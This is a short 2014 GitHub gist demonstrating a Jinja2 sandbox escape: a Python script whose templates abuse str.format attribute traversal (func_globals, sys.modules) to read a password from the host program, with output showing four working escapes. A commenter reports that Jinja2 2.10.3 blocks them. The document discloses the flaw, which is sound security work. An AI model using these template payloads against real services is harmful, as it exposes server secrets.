Skip to content

Instantly share code, notes, and snippets.

@tailhook
Created December 24, 2014 23:09
Show Gist options
  • Star 3 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save tailhook/e60f5b656dfb5a32e2f6 to your computer and use it in GitHub Desktop.
Save tailhook/e60f5b656dfb5a32e2f6 to your computer and use it in GitHub Desktop.
Breaking jinja sandbox
#!/usr/bin/env python
from collections import namedtuple
import sys
import jinja2.sandbox
password = "valuable password"
class A(object):
def _hidden_method(self):
pass
def just_function(a):
return '"' + a + '"'
jinja = jinja2.sandbox.SandboxedEnvironment()
ctx = dict(
named_tuple=namedtuple("hello", "a b")(1, 2),
any_function=just_function,
custom_instance=A,
)
print(jinja.from_string("""
ANY_FUNCTION {{ "{.func_globals[sys].modules[__main__].password}".format(any_function) }}
INSTANCE {{ "{._hidden_method.func_globals[sys].modules[__main__].password}".format(custom_instance) }}
NAMED_TUPLE {{ "{._asdict.func_globals[OrderedDict].clear.func_globals[_sys].modules[__main__].password}".format(named_tuple) }}
BUILTIN_RANGE {{ "{.func_globals[_mutable_sequence_types][1].insert.__func__.func_globals[sys].modules[__main__].password}".format(range) }}
""").render(ctx))
ANY_FUNCTION valuable password
INSTANCE valuable password
NAMED_TUPLE valuable password
BUILTIN_RANGE valuable password
@ajeeb-kp-keleno
Copy link

This is not breaking sandbox with version Jinja2==2.10.3. Instead, it throws following exception (I tried the string provided by you in various order).

jinja2.exceptions.UndefinedError: 'function object' has no attribute 'func_globals'
jinja2.exceptions.UndefinedError: 'function object' has no attribute 'func_globals'
jinja2.exceptions.SecurityError: access to attribute '_hidden_method' of 'type' object is unsafe.
jinja2.exceptions.SecurityError: access to attribute '_asdict' of 'hello' object is unsafe.
jinja2.exceptions.UndefinedError: 'function object' has no attribute 'func_globals'

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment